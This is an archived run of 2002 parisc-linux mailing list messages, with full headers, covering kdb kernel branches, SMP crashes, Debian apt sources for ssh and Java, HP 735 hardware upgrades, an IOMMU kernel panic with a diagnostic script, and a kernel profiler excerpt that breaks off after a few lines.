> Oh, I'm doing that. I just tried it again, it was either that or throw it out
> of the window.
> 
> Is there parisc version of the kdb patch I could try applying to a kernel
> source I know works maybe ?
>

We are trying not to maintian patches but rather a branch of the
kernel representing common-2 + parisc specific kdb changes.

Look at this if you want to see the patch method:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016246.html

The kdb_v21 branch is where all the changes and fixes will go :)

c. 



From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 19:07:39 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20020529180739.GL9919@tykepenguin.com>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621335 8044 80.91.229.3 (22 Nov 2014 01:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:35 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 12:07:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B703482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 12:07:41 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17D7rH-0004eX-00; Wed, 29 May 2002 19:07:39 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Content-Disposition: inline
In-Reply-To: <20020529132631.B3691@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14904

On Wed, May 29, 2002 at 01:26:31PM -0400, Carlos O'Donell Jr. wrote:
> > 
> > Oh, I'm doing that. I just tried it again, it was either that or throw it out
> > of the window.
> > 
> > Is there parisc version of the kdb patch I could try applying to a kernel
> > source I know works maybe ?
> >
> 
> We are trying not to maintian patches but rather a branch of the
> kernel representing common-2 + parisc specific kdb changes.

I can understand the logic of that and if it worked for me I would regard it as
the best solution to the problem if maintaing two sets of patches.
 
> Look at this if you want to see the patch method:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016246.html

Thanks, I'll try that on my Debian kernel and see what happens. Despite my
frustrations I really do want to get kdb working on this box. I like my HP box a
lot and I've got some kernel code that really does need fixing for that
platform.

+ we have a long weekend off coming up here in Britain and it's the perfect
diversion for that essay I really have to write ... :-)
 
patrick




From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Wed, 29 May 2002 11:56:04 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205291152060.11012-100000@garibaldi.apptechsys.com>
References: <20020527223132.661F54843@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621335 8048 80.91.229.3 (22 Nov 2014 01:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 12:56:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3D00482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 12:56:05 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id D19D67BC45
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 11:56:04 -0700 (PDT)
In-Reply-To: <20020527223132.661F54843@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14905

OK, I just tried pa30.  It boots successfully, but just died doing apt-get 
update:
Fetched 554B in 10s (53B/s)
apt-get(320): unaligned access to 0x403ce094 at ip=0x4005e47f
Reading Package

And there it stopped.  I don't know what it's doing but I'll see what kind 
of info I can get from it.

These "unaligned access" messages only show up when running smp.  apt-get 
works perfectly with a UP kernel...

I should set up a webcam pointing at the LCD screen of that box, so I can 
look at it remotely, to know if it HPMC'd or just locked up...

-- 
He missed an invaluable opportunity to hold his tongue.
		-- Andrew Lang




From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 14:13:34 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020529201334.8C23C482A@dsl2.external.hp.com>
References: <200205291104.AA315359834@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621336 8051 80.91.229.3 (22 Nov 2014 01:55:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 14:13:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8C23C482A; Wed, 29 May 2002 14:13:34 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Wed, 29 May 2002 11:04:58 CDT." <200205291104.AA315359834@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14906

"marc " wrote:
> `apt-cache search ssh` returns nothing.
> Any other ideas?

verify you have non-us in your /etc/apt/sources.list.
Something like:
deb http://non-us.debian.org/debian-non-US unstable/non-US main contrib non-free


grundler <515>dpkg -l ssh
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  ssh            3.0.2p1-9      Secure rlogin/rsh/rcp replacement (OpenSSH)


grant



From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Wed, 29 May 2002 23:20:16 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <1022707216.3cf54610c5ee8@nyepost.start.no>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621336 8052 80.91.229.3 (22 Nov 2014 01:55:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 15:32:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E2A2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 15:32:02 -0600 (MDT)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP id DCC0F89B4
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 23:31:59 +0200 (CEST)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id g4TLKGU23217
	for parisc-linux@lists.parisc-linux.org; Wed, 29 May 2002 23:20:16 +0200
In-Reply-To: <20020529201334.8C23C482A@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.8
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14907

Hi folks,

Just picked up a free 735/99 today, so suddenly I've become interested
in the status of the Outfield 53c720 driver. Has there been any progress
or is there just no information available? I'd be happy to test patches -
or even dive into the code myself, but without docs that sounds a little
pointless.

The box came with a FWD SCSI cage, and although I can scrounge a SE cage
to go in there, I'd like to make good use of these Seagate ST32430WD's
I've got laying around.

Nice things about this deal - it came with an Intel 10/100 network
card in the EISA slot, it came with a big HP drive cabinett with two
serviceabele 5GB Hawks in (and a possibly working full-height DAT
unit). It has 176MB of memory and still 2 banks free - and I can
scrounge memory to fill those banks. Pity it had an A1097C monitor -
I was crossing my fingers for another A4033A, but beggars can't be
choosers.

By the way, if I can get my hands on a 735/125 cpu/memory board, will
my /99 become a /125, or is there more to it than that?

cheers,
-Andy


------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Duraid Madina <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A400-6X always crashes after a while
Date: Thu, 30 May 2002 08:00:37 +1000
Lines: 23
Approved: news@gmane.org
Message-ID: <3CF54F85.7070106@fl.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621336 8054 80.91.229.3 (22 Nov 2014 01:55:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 16:00:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 236BD482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 16:00:44 -0600 (MDT)
Original-Received: from fl.net.au (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP id 9D4E9180157
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 08:04:27 +1000 (EST)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.9+) Gecko/20020418
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14908

Using the 2.4.18-pa26 kernel on my A400-6X, the machine doesn't want to 
stay alive for more than about a day. The console log shows this:

~~~
Kernel panic: sba_iommu.c: I/O MMU @ fffffffffed22000 is out of mapping 
resources

 <6>sym53c896-3-<15,0>: extraneous data discarded.
sym53c896-3-<15,0>: COMMAND FAILED (89 0) @0000000016c95800.
Kernel panic: sba_iommu.c: I/O MMU @ fffffffffed22000 is out of mapping 
resources

In interrupt handler - not syncing
~~~

    Does anyone know what might be causing this?

    tia,
    Duraid





From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Wed, 29 May 2002 17:32:57 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020529233258.D4CF0482A@dsl2.external.hp.com>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com>  <1022707216.3cf54610c5ee8@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621337 8056 80.91.229.3 (22 Nov 2014 01:55:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 17:32:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D4CF0482A; Wed, 29 May 2002 17:32:57 -0600 (MDT)
In-Reply-To: Message from Andy Walker <squawker@start.no> 
   of "Wed, 29 May 2002 23:20:16 +0200." <1022707216.3cf54610c5ee8@nyepost.start.no> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14909

Andy Walker wrote:
> By the way, if I can get my hands on a 735/125 cpu/memory board, will
> my /99 become a /125, or is there more to it than that?

I think so. I know someone here in Cupertino that stockpiles
735/125 boards for that purpose. I know particular revs of
firmware are required to run 125Mhz but don't know details.

Also note that the firmare is only *chip* upgradeable.
ie, scavenge newer firmware chips from dead boxes if you can.

grant



From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A400-6X always crashes after a while
Date: Wed, 29 May 2002 18:16:51 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20020530001652.1AA6C482A@dsl2.external.hp.com>
References: <3CF54F85.7070106@fl.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621337 8060 80.91.229.3 (22 Nov 2014 01:55:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 18:16:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1AA6C482A; Wed, 29 May 2002 18:16:52 -0600 (MDT)
In-Reply-To: Message from Duraid Madina <duraid@fl.net.au> 
   of "Thu, 30 May 2002 08:00:37 +1000." <3CF54F85.7070106@fl.net.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14910

Duraid Madina wrote:
>  <6>sym53c896-3-<15,0>: extraneous data discarded.
> sym53c896-3-<15,0>: COMMAND FAILED (89 0) @0000000016c95800.
> Kernel panic: sba_iommu.c: I/O MMU @ fffffffffed22000 is out of mapping 
> resources

That's my code.

It's possible the sym53c896 driver isn't releasing mapping resources
in the above error path.

Under workload, can you
1) run the following shell script:
	while :
	do
		date >> ~/Astro.out
		cat /proc/bus/runway/Astro | fgrep PDIR >> ~/Astro.out
		sleep 10
	done

2) provide matching /var/log/syslog for the same timeframe.
3) explain briefly what the workload is.

The idea here is to monitor PDIR resource over time as whatever workload
you are running exercises the system. In the meantime, I'll look
at sym53c8xx driver and see if it's obviously not releasing the
mapping resource.

grant



From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 00:23:49 -0500
Lines: 77
Approved: news@gmane.org
Message-ID: <200205300023.AA908198370@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621337 8063 80.91.229.3 (22 Nov 2014 01:55:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 23:24:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DCA4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 23:24:33 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14911

I got ssh up and running. Also, why does it bomb when I uncomment the line in my sources.list that has to do with the security updates?? I have network
connectivity now, and heres what I get for the
java possibilities:

seki:/etc/apt# more sources.list

deb cdrom:[Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa Binary-1 (2
0011205)]/ unstable contrib main
deb http://non-us.debian.org/debian-non-US unstable non-US/main non-US/contrib n
on-US/non-free
deb http://http.us.debian.org/debian/ unstable main non-free contrib
deb-src http://http.us.debian.org/debian/ unstable main non-free contrib
# deb http://security.debian.org/ unstable updates/main updates/contrib updates/
non-free





seki:/etc/apt# apt-get install jikes
Reading Package Lists... Done
Building Dependency Tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
  jikes: Depends: java-virtual-machine but it is not installable
E: Sorry, broken packages
seki:/etc/apt# apt-get install kaffe
Reading Package Lists... Done
Building Dependency Tree... Done
Package kaffe has no available version, but exists in the database.
This typically means that the package was mentioned in a dependency and
never uploaded, has been obsoleted or is not available with the contents
of sources.list
E: Package kaffe has no installation candidate



---------- Original Message ----------------------------------
From: Grant Grundler <grundler@dsl2.external.hp.com>
Date:  Wed, 29 May 2002 14:13:34 -0600

>"marc " wrote:
>> `apt-cache search ssh` returns nothing.
>> Any other ideas?
>
>verify you have non-us in your /etc/apt/sources.list.
>Something like:
>deb http://non-us.debian.org/debian-non-US unstable/non-US main contrib non-free
>
>
>grundler <515>dpkg -l ssh
>Desired=Unknown/Install/Remove/Purge/Hold
>| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
>|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
>||/ Name           Version        Description
>+++-==============-==============-============================================
>ii  ssh            3.0.2p1-9      Secure rlogin/rsh/rcp replacement (OpenSSH)
>
>
>grant
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@fc.hp.com (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel profile
Date: Wed, 29 May 2002 23:52:28 -0600 (MDT)
Lines: 329
Approved: news@gmane.org
Message-ID: <m17DIrM-00003WC@b180.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621338 8066 80.91.229.3 (22 Nov 2014 01:55:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 23:52:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8008F482A
	for <parisc-linux@parisc-linux.org>; Wed, 29 May 2002 23:52:29 -0600 (MDT)
Original-Received: from b180.bame (lart.fc.hp.com [15.1.54.48])
	by cuprel1.hp.com (Postfix) with ESMTP id 7B0751015
	for <parisc-linux@parisc-linux.org>; Wed, 29 May 2002 22:52:28 -0700 (PDT)
Original-Received: by fc.hp.com
	via send-mail from stdin
	id <m17DIrM-00003WC@b180.bame> (Debian Smail3.2.0.114)
	Wed, 29 May 2002 23:52:28 -0600 (MDT) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14912

I made the crude kernel profiler work and here's a trace from a b180
compiling the kernel sorted by #tics.  'man readprofile' to figure out
column 3.  I'll commit this stuff soon.  Enjoy!

 22214 total                                      0.0125
  4816 flush_user_icache_range_asm              133.7778
  4641 flush_user_dcache_range_asm              128.9167
